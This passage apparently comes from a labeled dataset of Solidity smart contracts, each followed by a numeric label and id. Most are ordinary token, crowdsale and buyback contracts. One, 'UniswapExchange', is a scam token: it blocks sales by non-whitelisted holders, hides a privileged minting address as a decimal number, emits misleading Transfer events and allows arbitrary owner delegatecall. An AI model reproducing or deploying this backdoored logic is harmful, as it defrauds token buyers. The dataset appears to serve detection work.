function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract StandardToken is ERC20, SafeMath {
event Minted(address receiver, uint amount);
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
function isToken() public constant returns (bool weAre) {
return true;
}
function transfer(address _to, uint _value) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract PreICOProxyBuyer is Ownable, Haltable, SafeMath {
uint public investorCount;
uint public weiRaisedTotal;
address[] public investors;
mapping(address => uint) public balances;
mapping(address => uint) public claimed;
uint public freezeEndsAt;
uint public weiMinimumLimit;
uint public weiMaximumLimit;
uint public weiCap;
uint public tokensBought;
uint public claimCount;
uint public totalClaimed;
Crowdsale public crowdsale;
enum State{Unknown, Funding, Distributing, Refunding}
event Invested(address investor, uint value, uint128 customerId);
event Refunded(address investor, uint value);
event TokensBoughts(uint count);
event Distributed(address investors, uint count);
function PreICOProxyBuyer(address _owner, uint _freezeEndsAt, uint _weiMinimumLimit, uint _weiMaximumLimit, uint _weiCap) {
owner = _owner;
if(_freezeEndsAt == 0) {
throw;
}
if(_weiMinimumLimit == 0) {
throw;
}
if(_weiMaximumLimit == 0) {
throw;
}
weiMinimumLimit = _weiMinimumLimit;
weiMaximumLimit = _weiMaximumLimit;
weiCap = _weiCap;
freezeEndsAt = _freezeEndsAt;
}
function getToken() public constant returns(FractionalERC20) {
if(address(crowdsale) == 0) {
throw;
}
return crowdsale.token();
}
function invest(uint128 customerId) private {
if(getState() != State.Funding) throw;
if(msg.value == 0) throw;
address investor = msg.sender;
bool existing = balances[investor] > 0;
balances[investor] = safeAdd(balances[investor], msg.value);
if(balances[investor] < weiMinimumLimit || balances[investor] > weiMaximumLimit) {
throw;
}
if(!existing) {
investors.push(investor);
investorCount++;
}
weiRaisedTotal = safeAdd(weiRaisedTotal, msg.value);
if(weiRaisedTotal > weiCap) {
throw;
}
Invested(investor, msg.value, customerId);
}
function investWithId(uint128 customerId) public stopInEmergency payable {
invest(customerId);
}
function investWithoutId() public stopInEmergency payable {
invest(0x0);
}
function buyForEverybody() stopInEmergency public {
if(getState() != State.Funding) {
throw;
}
if(address(crowdsale) == 0) throw;
crowdsale.invest.value(weiRaisedTotal)(address(this));
tokensBought = getToken().balanceOf(address(this));
if(tokensBought == 0) {
throw;
}
TokensBoughts(tokensBought);
}
function getClaimAmount(address investor) public constant returns (uint) {
if(getState() != State.Distributing) {
throw;
}
return safeMul(balances[investor], tokensBought) / weiRaisedTotal;
}
function getClaimLeft(address investor) public constant returns (uint) {
return safeSub(getClaimAmount(investor), claimed[investor]);
}
function claimAll() {
claim(getClaimLeft(msg.sender));
}
function claim(uint amount) stopInEmergency {
address investor = msg.sender;
if(amount == 0) {
throw;
}
if(getClaimLeft(investor) < amount) {
throw;
}
if(claimed[investor] == 0) {
claimCount++;
}
claimed[investor] = safeAdd(claimed[investor], amount);
totalClaimed = safeAdd(totalClaimed, amount);
getToken().transfer(investor, amount);
Distributed(investor, amount);
}
function refund() stopInEmergency {
if(getState() != State.Refunding) throw;
address investor = msg.sender;
if(balances[investor] == 0) throw;
uint amount = balances[investor];
delete balances[investor];
if(!(investor.call.value(amount)())) throw;
Refunded(investor, amount);
}
function setCrowdsale(Crowdsale _crowdsale) public onlyOwner {
crowdsale = _crowdsale;
if(!crowdsale.isCrowdsale()) true;
}
function getState() public returns(State) {
if(tokensBought == 0) {
if(now >= freezeEndsAt) {
return State.Refunding;
} else {
return State.Funding;
}
} else {
return State.Distributing;
}
}
function() payable {
throw;
}
}
| 0 | 1,217 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
| 1 | 2,681 |
pragma solidity ^0.4.11;
contract Owned {
address public contractOwner;
address public pendingContractOwner;
function Owned() {
contractOwner = msg.sender;
}
modifier onlyContractOwner() {
if (contractOwner == msg.sender) {
_;
}
}
function destroy() onlyContractOwner {
suicide(msg.sender);
}
function changeContractOwnership(address _to) onlyContractOwner() returns(bool) {
if (_to == 0x0) {
return false;
}
pendingContractOwner = _to;
return true;
}
function claimContractOwnership() returns(bool) {
if (pendingContractOwner != msg.sender) {
return false;
}
contractOwner = pendingContractOwner;
delete pendingContractOwner;
return true;
}
}
contract ERC20Interface {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed from, address indexed spender, uint256 value);
string public symbol;
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
}
contract Object is Owned {
uint constant OK = 1;
uint constant OWNED_ACCESS_DENIED_ONLY_CONTRACT_OWNER = 8;
function withdrawnTokens(address[] tokens, address _to) onlyContractOwner returns(uint) {
for(uint i=0;i<tokens.length;i++) {
address token = tokens[i];
uint balance = ERC20Interface(token).balanceOf(this);
if(balance != 0)
ERC20Interface(token).transfer(_to,balance);
}
return OK;
}
function checkOnlyContractOwner() internal constant returns(uint) {
if (contractOwner == msg.sender) {
return OK;
}
return OWNED_ACCESS_DENIED_ONLY_CONTRACT_OWNER;
}
}
contract MultiEventsHistoryAdapter {
function _self() constant internal returns (address) {
return msg.sender;
}
}
contract DelayedPaymentsEmitter is MultiEventsHistoryAdapter {
event Error(bytes32 message);
function emitError(bytes32 _message) {
Error(_message);
}
}
contract DelayedPayments is Object {
uint constant DELAYED_PAYMENTS_SCOPE = 52000;
uint constant DELAYED_PAYMENTS_INVALID_INVOCATION = DELAYED_PAYMENTS_SCOPE + 17;
struct Payment {
address spender;
uint earliestPayTime;
bool canceled;
bool paid;
address recipient;
uint amount;
uint securityGuardDelay;
}
Payment[] public authorizedPayments;
address public securityGuard;
uint public absoluteMinTimeLock;
uint public timeLock;
uint public maxSecurityGuardDelay;
address public eventsHistory;
mapping (address => bool) public allowedSpenders;
modifier onlySecurityGuard { if (msg.sender != securityGuard) throw; _; }
event PaymentAuthorized(uint indexed idPayment, address indexed recipient, uint amount);
event PaymentExecuted(uint indexed idPayment, address indexed recipient, uint amount);
event PaymentCanceled(uint indexed idPayment);
event EtherReceived(address indexed from, uint amount);
event SpenderAuthorization(address indexed spender, bool authorized);
function DelayedPayments(
uint _absoluteMinTimeLock,
uint _timeLock,
uint _maxSecurityGuardDelay)
{
absoluteMinTimeLock = _absoluteMinTimeLock;
timeLock = _timeLock;
securityGuard = msg.sender;
maxSecurityGuardDelay = _maxSecurityGuardDelay;
}
function _error(uint _errorCode, bytes32 _message) internal returns(uint) {
DelayedPaymentsEmitter(eventsHistory).emitError(_message);
return _errorCode;
}
function setupEventsHistory(address _eventsHistory) returns(uint errorCode) {
errorCode = checkOnlyContractOwner();
if (errorCode != OK) {
return errorCode;
}
if (eventsHistory != 0x0 && eventsHistory != _eventsHistory) {
return DELAYED_PAYMENTS_INVALID_INVOCATION;
}
eventsHistory = _eventsHistory;
return OK;
}
function numberOfAuthorizedPayments() constant returns (uint) {
return authorizedPayments.length;
}
function receiveEther() payable {
EtherReceived(msg.sender, msg.value);
}
function () payable {
receiveEther();
}
function authorizePayment(
address _recipient,
uint _amount,
uint _paymentDelay
) returns(uint) {
if (!allowedSpenders[msg.sender]) throw;
uint idPayment = authorizedPayments.length;
authorizedPayments.length++;
Payment p = authorizedPayments[idPayment];
p.spender = msg.sender;
if (_paymentDelay > 10**18) throw;
p.earliestPayTime = _paymentDelay >= timeLock ?
now + _paymentDelay :
now + timeLock;
p.recipient = _recipient;
p.amount = _amount;
PaymentAuthorized(idPayment, p.recipient, p.amount);
return idPayment;
}
function collectAuthorizedPayment(uint _idPayment) {
if (_idPayment >= authorizedPayments.length) return;
Payment p = authorizedPayments[_idPayment];
if (msg.sender != p.recipient) return;
if (now < p.earliestPayTime) return;
if (p.canceled) return;
if (p.paid) return;
if (this.balance < p.amount) return;
p.paid = true;
if (!p.recipient.send(p.amount)) {
return;
}
PaymentExecuted(_idPayment, p.recipient, p.amount);
}
function delayPayment(uint _idPayment, uint _delay) onlySecurityGuard {
if (_idPayment >= authorizedPayments.length) throw;
if (_delay > 10**18) throw;
Payment p = authorizedPayments[_idPayment];
if ((p.securityGuardDelay + _delay > maxSecurityGuardDelay) ||
(p.paid) ||
(p.canceled))
throw;
p.securityGuardDelay += _delay;
p.earliestPayTime += _delay;
}
function cancelPayment(uint _idPayment) onlyContractOwner {
if (_idPayment >= authorizedPayments.length) throw;
Payment p = authorizedPayments[_idPayment];
if (p.canceled) throw;
if (p.paid) throw;
p.canceled = true;
PaymentCanceled(_idPayment);
}
function authorizeSpender(address _spender, bool _authorize) onlyContractOwner {
allowedSpenders[_spender] = _authorize;
SpenderAuthorization(_spender, _authorize);
}
function setSecurityGuard(address _newSecurityGuard) onlyContractOwner {
securityGuard = _newSecurityGuard;
}
function setTimelock(uint _newTimeLock) onlyContractOwner {
if (_newTimeLock < absoluteMinTimeLock) throw;
timeLock = _newTimeLock;
}
function setMaxSecurityGuardDelay(uint _maxSecurityGuardDelay) onlyContractOwner {
maxSecurityGuardDelay = _maxSecurityGuardDelay;
}
}
contract Asset {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed from, address indexed spender, uint256 value);
string public symbol;
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
}
contract BuyBackEmitter {
function emitError(uint errorCode);
function emitPricesUpdated(uint buyPrice, uint sellPrice);
function emitActiveChanged(bool isActive);
}
contract BuyBack is Object {
uint constant ERROR_EXCHANGE_INVALID_PARAMETER = 6000;
uint constant ERROR_EXCHANGE_INVALID_INVOCATION = 6001;
uint constant ERROR_EXCHANGE_INVALID_FEE_PERCENT = 6002;
uint constant ERROR_EXCHANGE_INVALID_PRICE = 6003;
uint constant ERROR_EXCHANGE_MAINTENANCE_MODE = 6004;
uint constant ERROR_EXCHANGE_TOO_HIGH_PRICE = 6005;
uint constant ERROR_EXCHANGE_TOO_LOW_PRICE = 6006;
uint constant ERROR_EXCHANGE_INSUFFICIENT_BALANCE = 6007;
uint constant ERROR_EXCHANGE_INSUFFICIENT_ETHER_SUPPLY = 6008;
uint constant ERROR_EXCHANGE_PAYMENT_FAILED = 6009;
uint constant ERROR_EXCHANGE_TRANSFER_FAILED = 6010;
uint constant ERROR_EXCHANGE_FEE_TRANSFER_FAILED = 6011;
uint constant ERROR_EXCHANGE_DELAYEDPAYMENTS_ACCESS = 6012;
Asset public asset;
DelayedPayments public delayedPayments;
bool public isActive;
uint public buyPrice = 1;
uint public sellPrice = 2570735391000000;
uint public minAmount;
uint public maxAmount;
event Sell(address indexed who, uint token, uint eth);
event Buy(address indexed who, uint token, uint eth);
event WithdrawTokens(address indexed recipient, uint amount);
event WithdrawEth(address indexed recipient, uint amount);
event PricesUpdated(address indexed self, uint buyPrice, uint sellPrice);
event ActiveChanged(address indexed self, bool isActive);
event Error(uint errorCode);
event ReceivedEther(address indexed sender, uint256 indexed amount);
BuyBackEmitter public eventsHistory;
function _error(uint error) internal returns (uint) {
getEventsHistory().emitError(error);
return error;
}
function _emitPricesUpdated(uint buyPrice, uint sellPrice) internal {
getEventsHistory().emitPricesUpdated(buyPrice, sellPrice);
}
function _emitActiveChanged(bool isActive) internal {
getEventsHistory().emitActiveChanged(isActive);
}
function setupEventsHistory(address _eventsHistory) onlyContractOwner returns (uint) {
if (address(eventsHistory) != 0x0) {
return _error(ERROR_EXCHANGE_INVALID_INVOCATION);
}
eventsHistory = BuyBackEmitter(_eventsHistory);
return OK;
}
function init(Asset _asset, DelayedPayments _delayedPayments) onlyContractOwner returns (uint errorCode) {
if (address(asset) != 0x0 || address(delayedPayments) != 0x0) {
return _error(ERROR_EXCHANGE_INVALID_INVOCATION);
}
asset = _asset;
delayedPayments = _delayedPayments;
isActive = true;
return OK;
}
function setActive(bool _active) onlyContractOwner returns (uint) {
if (isActive != _active) {
_emitActiveChanged(_active);
}
isActive = _active;
return OK;
}
function setPrices(uint _buyPrice, uint _sellPrice) onlyContractOwner returns (uint) {
if (_sellPrice < _buyPrice) {
return _error(ERROR_EXCHANGE_INVALID_PRICE);
}
buyPrice = _buyPrice;
sellPrice = _sellPrice;
_emitPricesUpdated(_buyPrice, _sellPrice);
return OK;
}
function _balanceOf(address _address) constant internal returns (uint) {
return asset.balanceOf(_address);
}
function sell(uint _amount, uint _price) returns (uint) {
if (!isActive) {
return _error(ERROR_EXCHANGE_MAINTENANCE_MODE);
}
if (_price > buyPrice) {
return _error(ERROR_EXCHANGE_TOO_HIGH_PRICE);
}
if (_balanceOf(msg.sender) < _amount) {
return _error(ERROR_EXCHANGE_INSUFFICIENT_BALANCE);
}
uint total = _mul(_amount, _price);
if (this.balance < total) {
return _error(ERROR_EXCHANGE_INSUFFICIENT_ETHER_SUPPLY);
}
if (!asset.transferFrom(msg.sender, this, _amount)) {
return _error(ERROR_EXCHANGE_PAYMENT_FAILED);
}
if (!delayedPayments.send(total)) {
throw;
}
if (!delayedPayments.allowedSpenders(this)) {
throw;
}
delayedPayments.authorizePayment(msg.sender,total,1 hours);
Sell(msg.sender, _amount, total);
return OK;
}
function withdrawTokens(address _recipient, uint _amount) onlyContractOwner returns (uint) {
if (_balanceOf(this) < _amount) {
return _error(ERROR_EXCHANGE_INSUFFICIENT_BALANCE);
}
if (!asset.transfer(_recipient, _amount)) {
return _error(ERROR_EXCHANGE_TRANSFER_FAILED);
}
WithdrawTokens(_recipient, _amount);
return OK;
}
function withdrawAllTokens(address _recipient) onlyContractOwner returns (uint) {
return withdrawTokens(_recipient, _balanceOf(this));
}
function withdrawEth(address _recipient, uint _amount) onlyContractOwner returns (uint) {
if (this.balance < _amount) {
return _error(ERROR_EXCHANGE_INSUFFICIENT_ETHER_SUPPLY);
}
if (!_recipient.send(_amount)) {
return _error(ERROR_EXCHANGE_TRANSFER_FAILED);
}
WithdrawEth(_recipient, _amount);
return OK;
}
function withdrawAllEth(address _recipient) onlyContractOwner() returns (uint) {
return withdrawEth(_recipient, this.balance);
}
function withdrawAll(address _recipient) onlyContractOwner returns (uint) {
uint withdrawAllTokensResult = withdrawAllTokens(_recipient);
if (withdrawAllTokensResult != OK) {
return withdrawAllTokensResult;
}
uint withdrawAllEthResult = withdrawAllEth(_recipient);
if (withdrawAllEthResult != OK) {
return withdrawAllEthResult;
}
return OK;
}
function emitError(uint errorCode) {
Error(errorCode);
}
function emitPricesUpdated(uint buyPrice, uint sellPrice) {
PricesUpdated(msg.sender, buyPrice, sellPrice);
}
function emitActiveChanged(bool isActive) {
ActiveChanged(msg.sender, isActive);
}
function getEventsHistory() constant returns (BuyBackEmitter) {
return address(eventsHistory) != 0x0 ? eventsHistory : BuyBackEmitter(this);
}
function _mul(uint _a, uint _b) internal constant returns (uint) {
uint result = _a * _b;
if (_a != 0 && result / _a != _b) {
throw;
}
return result;
}
function() payable {
if (msg.value != 0) {
ReceivedEther(msg.sender, msg.value);
} else {
throw;
}
}
}
| 1 | 2,842 |
pragma solidity ^0.4.24;
contract tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TriLionToken {
string public version = '0.1';
string public name;
string public symbol;
uint8 public decimals;
address public owner;
uint256 public _totalSupply;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowances;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Burn(address indexed from, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function TriLionToken() public {
balances[msg.sender] = 1000000000000000000;
_totalSupply = 1000000000000000000;
name = '3lionToken';
symbol = '3LION';
decimals = 8;
owner = msg.sender;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowances[_owner][_spender];
}
function totalSupply() public constant returns (uint256 supply) {
return _totalSupply;
}
function transfer(address _to, uint256 _value) public returns (bool success) {
if (_to == 0x0) return false;
if (balances[msg.sender] < _value) return false;
if (balances[_to] + _value < balances[_to]) return false;
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowances[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
if (_to == 0x0) return false;
if (balances[_from] < _value) return false;
if (balances[_to] + _value < balances[_to]) return false;
if (_value > allowances[_from][msg.sender]) return false;
balances[_from] -= _value;
balances[_to] += _value;
allowances[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
}
function burn(uint256 _value) public returns (bool success) {
if (balances[msg.sender] < _value) return false;
balances[msg.sender] -= _value;
_totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
if (balances[_from] < _value) return false;
if (_value > allowances[_from][msg.sender]) return false;
balances[_from] -= _value;
_totalSupply -= _value;
Burn(_from, _value);
return true;
}
}
| 1 | 2,993 |
pragma solidity ^0.4.19;
contract ERC20Basic
{
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic
{
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable
{
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public
{
owner = msg.sender;
}
modifier onlyOwner()
{
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public
{
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath
{
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract SafeBasicToken is ERC20Basic
{
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping(address => bool) public admin;
mapping(address => bool) public receivable;
bool public locked;
modifier onlyPayloadSize(uint size)
{
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) public returns (bool)
{
require(_to != address(0));
require(!locked || admin[msg.sender] == true || receivable[_to] == true);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256)
{
return balances[_owner];
}
}
contract SafeStandardToken is ERC20, SafeBasicToken
{
mapping(address => mapping(address => uint256)) allowed;
function allowance(address _owner, address _spender) public constant returns (uint256 remaining)
{
return allowed[_owner][_spender];
}
function approve(address _spender, uint256 _value) public returns (bool)
{
require(_value == 0 || allowed[msg.sender][_spender] == 0);
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool success)
{
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue)
allowed[msg.sender][_spender] = 0;
else
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool)
{
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
}
contract CrystalToken is SafeStandardToken, Ownable
{
using SafeMath for uint256;
string public constant name = "CrystalToken";
string public constant symbol = "CYL";
